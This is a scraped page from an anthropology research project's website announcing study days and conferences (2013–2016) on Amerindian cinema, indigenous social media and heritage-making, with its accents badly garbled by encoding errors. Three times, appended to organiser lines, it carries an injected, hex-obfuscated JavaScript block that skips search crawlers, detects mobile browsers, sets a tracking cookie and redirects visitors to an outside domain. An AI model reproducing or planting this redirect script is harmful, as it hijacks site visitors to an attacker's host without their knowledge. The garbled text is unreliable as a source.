JournA�e d’A�tude (26/05/2016) : “Le cinA�ma amA�rindien aujourd’hui”

JournA�e d’A�tude FABRIQ’AM

(ANR, LESC & MONDESAM)

A�26 Mai 2016

Le cinA�ma amA�rindien aujourd’hui :
genres, auteurs, effets.

A�AmphithA�A?tre du bA?timent Max Weber,
UniversitA� de Nanterre

Programme, rA�sumA� et plan d’accA?s : tA�lA�charger ici

La��usage de la vidA�o est dA�sormais gA�nA�ralisA� dans les populations autochtones en AmA�rique du Sud. Il gA�nA?re uneA�production importante, tant par ses effets sur les sociA�tA�s concernA�es que pour le dA�fi qua��il adresse au cinA�maA�classique. MA�dium de la relation interethnique, outil de reprA�sentation politique, moyen da��obtenir des ressourcesA�financiA?res, forme da��expression artistique ouvrant A� des carriA?res internationales, support da��apprentissage rituel ouA�chorA�graphique ou simple captation A� usage domestique da��un micro A�vA�nement, les films indiens contemporainsA�prA�sentent des physionomies trA?s variA�es et touchent des publics trA?s divers. Cette journA�e da��A�tude entend explorerA�cette diversitA� de formes et de fonctions. Son enjeu principal est de chercher A� dA�passer, par la��analyse de filmsA�spA�cifiques, la��opposition entre deux lectures A�galement univoques : celle de la��acculturation da��une part (les vidA�osA�sont la��indice da��une mondialisation passivement reA�ue), celle de la��appropriation da��autre part (les vidA�os sontA�activement et dA�libA�rA�ment indigA�nisA�es).

Org. :A�Isabel Penoni (MusA�e du quai Branly) et Emmanuel de Vienne (UPO-LESC/EREA)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

JournA�e d’A�tude internationale (31/03/2016) : “DU HIP HOP A� WHATSAPP”

JournA�e d’A�tude internationale FABRIQ’AM

(ANR, LESC & MONDESAM)

A�31 Mars 2016

Du Hip Hop A� WhatsApp :
Nouvelles formes de communication chez les amA�rindiens.

A�EHESS 105 bd. Raspail
salle 8

Programme et rA�sumA� : tA�lA�charger ici

matin

10h00:PrA�sentation Karla J. AvilA�s GonzA?lez (LABEX EFL, Paris 7 / EREA) et Valentina Vapnarsky (EREA/LESC, CNRS)

10h10-11h: Josep Cru (UniversitA� de Newcastle, Angleterre) : Bilingual rap in Yucatan: Strategic choices for the revitalisation of Amerindian languages.

11h-11h50: Hilario Chi Canul (UniversitA� du Quintana Roo, Mexique) : Vitalidad lingA?A�stica y cultural de los mayas en tiempos de WasKa��oop (a�?CoscorrA?n con tinoa�? – grupo whatsApp maya internacional). Donde la modernidad y la tradiciA?n buscan un punto de encuentro.

11h50-12h: Pause

12h-12h30: MA?nica Celeida Rabelo Nogueira & Cristiane De Assis Portela (UniversitA� de Brasilia) : Apropiaciones tecnolA?gicas y reinterpretaciones culturales entre estudiantes indA�genas de Brasil.

AprA?s-midi

14h-14h30: Magda Helena Dziubinska (LESC-EREA) : L’amour amA�rindien sur Facebook (ou quand l’anthropologie frA?le le voyeurisme).

14h30-15h: Marie-Pierre Bousquet (UniversitA� de MontrA�al) : A� Ca��est quoi ton Facebook?A� Vie privA�e, vie publique des Algonquins du QuA�bec.

15h-15h30: Pirjo Kristiina Virtanen (UniversitA� de Helsinki) : Social media in indigenous Brazilian Amazonia a�� digital exchanges.

15h30-16h00: Pause

16h-16h30: Genner Llanes-Ortiz (CIESAS, Mexico / Global Raising Voices) : Activismo Digital de Lenguas IndA�genas: avances en la comprensiA?n de un nuevo campo de acciA?n en AmA�rica Latina.

16h30-17h15: DiscusiA?n / Discussion / Discusion

Discutant de la journA�e : GrA�gory Delaplace (UniversitA� Paris Ouest Nanterre, LESC)

Org. : LESC – Karla AvilA�s GonzA?lez (Labex EFL, Paris 7) & Valentina Vapnarsky (EREA/LESC, CNRS)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Jornadas internacionales FABRIQ’AM (07-08/12/2015): “Tiempos y fabricas del patrimonio”, Buenos Aires

Jornadas internacionales FABRIQ’AM

A�7 y 8 de diciembre de 2015

Tiempos y fabricas del patrimonioA�en la sociedades amerindias

A�FundaciA?n Instituto de Estudios Budistas

Buenos Aires, Argentina

Organizadores

Argentina: Pablo Cruz y Florencia Tola

Francia: Laurence Charlier y Valentina Vapnarsky

Contacto: Pablo Cruz,A�saxrapablo@gmail.com yA�Florencia Carmen TolaA�tolatoba2015@gmail.com

 

Instituciones organizadoras

Proyecto FABRIQa��AM, ANR (Agence Nationale pour la Recherche, Francia), Centre EREA (Enseignement et Recherche en Ethnologie AmA�rindienne) del Laboratoire da��Ethnologie et de Sociologie Comparative (CNRS y UniversitA� Paris Ouest Nanterre) y Mondes AmA�ricains (CNRS y EHESS), CONICET.

FundamentaciA?n

La patrimonializaciA?nA�de elementos culturales se ha vuelto, desde hace varios aA�os, uno de los medios por los cuales les grupos indA�genas buscan una visibilidad y un reconocimiento en un paisaje social y polA�tico marcado en la mayorA�a de los paA�ses latinoamericanos contemporA?neos por un (supuesto) compromiso con la valorizaciA?n de la diversidad cultural. Si bien los fenA?menos de parimonializaciA?n han sido ampliamente estudiados en varias partes del mundo, en los espacios meso y sudamericanos y, especialmente, en las sociedades indA�genas de las tierras bajas aA?n queda mucho por ahondar. En dichas sociedades, las concepciones de lo que se debe conservar o abandonar, recordar o olvidar, los modos de transmisiA?n de conocimientos y saberes, asA� como los regA�menes de historicidad parecen a menudo ir en contra de los presupuestos que conlleva la nociA?n de patrimonializaciA?n tal como es entendida en el mundo eurocentrado. Asimismo, como consecuencia de mediaciones y formas de inculcaciA?n de esquemas culturales formulados fuera de las sociedades amerindias, A�stas transforman algunas de sus prA?cticas en nuevas formas mA?s objetivables para el mundo no-indA�gena; formas que participan de modalidades inA�ditas de transmisiA?n para las nuevas generaciones.

Las formas de transmisiA?n de la memoria de los pueblos indA�genas tienen una doble dimensiA?n. Por un lado, se construyen segA?n una matriz cultural y social que les es propia. Por otro lado, en el marco de un mundo hasta cierto punto globalizado, se ven ahora mobilizadas en tanto recurso destinado a reforzar identidades colectivas o a crear nuevas formas de etnicidad. El anA?lisis de la variedad de configuraciones patrimoniales que se observan en las prA?cticas actuales de las sociedades amerindias requiere entender dichas formas de acomodaciA?n asA� como las transformaciones culturales que conllevan, asA� como tambiA�n dilucidar las diversas maneras en que los sujetos se han reapropiado de un derecho a construir un discurso sobre su propia cultura.

Estas temA?ticas son el objeto de investigaciA?n del proyecto FABRIQa��AM – La fabrique des a�?patrimoinesa�?: MA�moires, savoirs et politique en AmA�rique indienne aujourda��hui (http://fabriqam.hypotheses.org/). En el marco de FABRIQa��AM estas temA?ticas fueron estudiadas en mA?s de veinte sociedades indA�genas. Con el fin de reforzar colaboraciones cientA�ficas existentes entre investigadores de Francia y Argentina, el encuentro que tendrA? lugar en Buenos Aires se propone reunir antropA?logos argentinos y franceses, especialistas de pueblos indA�genas americanos.

El encuentro tendrA? como principal enfoque los regA�menes de temporalidad, historicidad y transmisiA?n. Comprender las formas actuales de la a�?fA?bricaa�?A�del patrimonio, en tanto procesos a la vez emergentes e inscritos en el seno de las lA?gicas culturales, implica una comprensiA?n detallada de los conceptos relativos a la temporalidad, a la historia, a la transmisiA?n y a lo que se transmite en una cultura o sociedad dada.A�A?CA?mo esas concepciones configuran y son configuradas por los nuevos procesos de patrimonializaciA?n?A�Estas cuestiones serA?n analizadas a partir de una variedad de prA?cticas: desde las que conciernen los objetos y sus destinos, hasta aquellas relacionadas con la utilizaciA?n de espacios cotidianos o memoriales; desde las discursivas (que sean narrativas, rituales, polA�ticasa��), hasta aquellas que tratan la adopciA?n de nuevas formas de expresiA?n, como escritas, fA�lmicas u otras. El objetivo del encuentro es captar la variedad de estrategias desarrolladas por las sociedades amerindias frente a los cambios culturales, y reflexionar de modo comparativo sobre los esquemas de elaboraciA?n de la historia y de la conceptualizaciA?n de la acciA?n en dichas sociedades y sus variaciones segA?n los contextos.

Asimismo, el encuentro se propone reflexionar acerca de quA� significa a�?producir patrimonioa�? y a�?dar a ver su culturaa�? a travA�s de la exposiciA?n en museos, o de la transformaciA?n de elementos culturales en espectA?culo en donde se convierten en imagen o son expresados en escritos, fabricA?ndolos en a�?sitio de memoriaa�? o en monumentos de naturaleza diversa. Estos procesos no son sA?lo lugares de construcciA?n cultural, sino que implican tambiA�n una lA?gica del sA� mismo y del otro; formas de objetivaciA?n y puestas en escena de la cultura. Nos preguntamos A?cA?mo los actores indA�genas han, en un momento dado, pensado ciertos rasgos culturales como un a�?patrimonioa�? y producido una imagen de sA� mismo utilizada en las relaciones con los otros grupos indA�genas y en las relaciones con los no-indios? Se analizarA?n los efectos de estas operaciones sobre la cultura de colectivos que son, a la vez, agentes y objetos; y la manera en que estas operaciones contribuyen a remodelar las relaciones sociales en el seno de los grupos concernidos, pero tambiA�n entre A�stos y su exterior: las comunidades indA�genas y sus representantes, las instituciones que validan el estatus patrimonial y, de una manera u otra, proceden del Estado o dependen de nuevos espacios globales, y un conjunto de mediadores a��entre ellos, los investigadores en el terreno.

Programa

7 de diciembre

10h/13h

RegA�menes de historicidad y territorio en el Chaco argentino.A�Florencia Tola, Investigadora CONICET (PIP 0612), docente Universidad de Buenos Aires.

Las moradas del tiempo: piedras, espA�ritus y patrimonio entre los mayas yucatecos. Valentina Vapnarsky, Investigadora CNRS, Laboratoire da��Ethnologie et de Sociologie Comparative (CNRS y UniversitA� Paris Ouest Nanterre).

Sitios de memoria virtuales: los pueblos abandonados en el imaginario, la etnogA�nesis y la escatologA�a de los Chacobos de Amazonia boliviana.A�Philippe Erikson, Profesor, Universidad de Paris Ouest Nanterre, Laboratoire da��Ethnologie et de Sociologie Comparative (CNRS y UniversitA� Paris Ouest Nanterre).

Almuerzo

14h30/17h30

A?Huellas de A�A�malemortsA�A� o lugar de nostalgia? SantificaciA?n y/o patrimonializaciA?n de un pueblo negro destruido (ChocA?, Colombia). Anne Marie Losoncsy, profesora, EPHE, Mondes AmA�ricains-Cerma (CNRS y EHESS).

Tres perspectivas de mayores yurakarA� sobre la a�?vida que cambiaa�? y el a�?proceso de cambioa�?.A�Vincent Hirtzel, Investigador CNRS, Laboratoire da��Ethnologie et de Sociologie Comparative (CNRS y UniversitA� Paris Ouest Nanterre)

TecnologA�a, medios… y mucho por contar.A�Pablo Cruz, Investigador CONICET, Instituto Interdisciplinario Tilcara, FFyL-UBA.

8 de diciembre

10h/13h

Nuestros antepasados los Incas. Comentarios sobre elA�a�?aA�o nuevo andinoa�?en la regiA?n del Norte de PotosA� (Bolivia).A�Laurence Charlier, docente, Universidad Jean JaurA?s Toulouse 2, LISST-CAS (CNRS y UniversitA� Jean JaurA?s Toulouse 2).

a�?Me cuesta hacerles entender que los indios A�ramos nosotrosa�?: respuestas reflexivas a las formaciones hegemA?nicas de alteridad en la Quebrada de Humahuaca, Jujuy, Argentina.A�Patricia Salatino, Doctoranda de ArqueologA�a (Facultad de FilosofA�a y Letras, UBA), Asistente de GestiA?n Cultural en la DirecciA?n General de Patrimonio e Instituto HistA?rico de la CABA.

La indigenizaciA?n de una imagen. Las tribulaciones delA�MallkuTata Sabaya (comunidad aymara del altiplano boliviano).A�Gilles RiviA?re, docente, EHESS, Mondes AmA�ricains-Cerma (CNRS y EHESS).

A�Almuerzo

14h30/17H30

Archivo General Tehuelche (AGT), una entelequia para la acciA?n: disputas en torno a los procesos de patrimonializaciA?n en la Patagonia austral. Mariela RodrA�guez, Investigadora CONICET, docente Universidad de Buenos Aires-FLACSO.

Los conocimientos tradicionales y los desafA�os que plantea su protecciA?n y salvaguarda.A�MarA�a Luz Endere, Investigadora CONICET, Directora de PATRIMONIA (Programa Interdisciplinario de Estudios del Patrimonio), Universidad Nacional del Centro de la Provincia de Buenos Aires.

A�DiscusiA?n general

Ver el programaA�con resA?menes :A�Programa Fabriqam-BuenosAires 2015

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Sociedades indA�genas y procesos de patrimonializaciA?n (18-20/11/2015): “Sociedades indA�genasA�y procesos de patrimonializaciA?n”, MA�xico

Universidad Nacional AutA?noma de MA�xico Instituto de Investigaciones AntropolA?gicas

Ciclo de conferencias

Sociedades indA�genasA�y procesos de patrimonializaciA?n.
Acercamientos crA�ticos y estudios de caso

del 18 al 20 de noviembre de 2015
de 10:00 a 13:00
SalA?n de Usos MA?ltiples, IIA-UNAM

Imparte : Dra Anath Ariel de Vidas (CNRS, Francia)

MiA�rcoles 18
Una introducciA?n al tema:A�A� Del patrimonio a laA�patrimonializaciA?n A�

Jueves 19
Los tA�rminos de la patrimonializaciA?n:A�A� cultura y a�?culturaa�� A�

Viernes 20
Estudios de casos:A�el proyecto FABRIQa��AM y otrasA�experiencias

Ver el programa :A�Programa.pdf

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Anne-GaA�l Bilhaut, La fabrication zapara du patrimoine (Haute Amazonie). Une approche par le rA?ve, 2013

ConfA�rence d’Anne-GaA�l Bilhaut (universitA� de LiA?ge),A�le 20 fA�vrier 2013, invitA�e par le CELAT, UniversitA� Laval, QuA�bec

La fabrication zapara du patrimoine (Haute Amazonie). Une approche par le rA?ve

Pour les ZA?para da��A�quateur, le rA?ve est avant tout un mode de communication : communication avec les interlocuteurs oniriques, humains et non humains, communication avec les autres humains vivants et communication avec des A?tres habitant au-delA� des frontiA?res temporelles et spatiales. La��intA�rA?t de se rendre dans ces espaces contrA?lA�s est da��aller y chercher des connaissances : auprA?s des ancA?tres pour puiser dans la mA�moire collective ; des ascendants, chamanes fameux, pour obtenir de nouveaux savoirs chamaniques et poursuivre la��apprentissage. Dans cette confA�rence seront prA�sentA�es les caractA�ristiques les plus saillantes du rA?ve, entendu comme processus, mais aussi comme vA�hicule pour accA�der A� la connaissance et A� la patrimonialisation. Ceci nous permettra de rA�flA�chir aux raisons qui ont poussA� les ZA?para A� investir dans le rA?ve pour se distinguer des autres groupes indigA?nes selvatiques.

Voir la confA�rence :A�https://vimeo.com/60212337

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JournA�e d’A�tude internationale FABRIQ’AM : Les concours de beautA� dans les AmA�riques indiennes. Performance, glamour et patrimonialisation, le 11 dA�cembre 2015, Nanterre

JournA�e d’A�tude internationale FABRIQ’AM

LesA�concoursA�deA�beautA�A�dans les AmA�riques indiennes.A�Performance, glamour et patrimonialisation

11 dA�cembre 2015

LESC, Maison de l’ArchA�ologie et de l’Ethnologie,

UniversitA� Paris Ouest Nanterre La DA�fense, salle 308

OrganisA�e par Magda Helena Dziubinska et GrA�gory DeshoulliA?re

Veuillez trouver le programme ci-joint :A�PROGRAMME (Concours de beautA�)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

JOURNA�E D’A�TUDE FABRIQ’AM : A� Circonscrire le patrimoine A�, le 25 juin 2015, LESC-MAE, Nanterre

Demi-journA�e da��A�tude FABRIQa��AM

A�A�Circonscrire le patrimoineA�: chercheurs, professeurs amA�rindiens, chamanes et autres acteurs de la recherche patrimonialeA�A�

25 juin 2015

Laboratoire da��Ethnologie et de Sociologie ComparativeA�a�� Salle 308

Maison Ethnologie et ArchA�ologie RenA�-GinouvA?s

21, allA�e de la��UniversitA�

UniversitA� Paris Ouest Nanterre

de 10h A� 13h

A�JournA�e organisA�e par Silvia Macedo

Les pratiques de patrimonialisation de biens tangibles et intangibles ont contribuA� au dA�veloppement da��une sA�rie da��actions indigA?nes de recherche et de mis en valeur des patrimoines amA�rindiens. Cet atelier sa��interrogera sur la place, le rA?le et les activitA�s de ces a�?nouveauxa�� spA�cialistes des a�?culturesa�� amA�rindiennes.

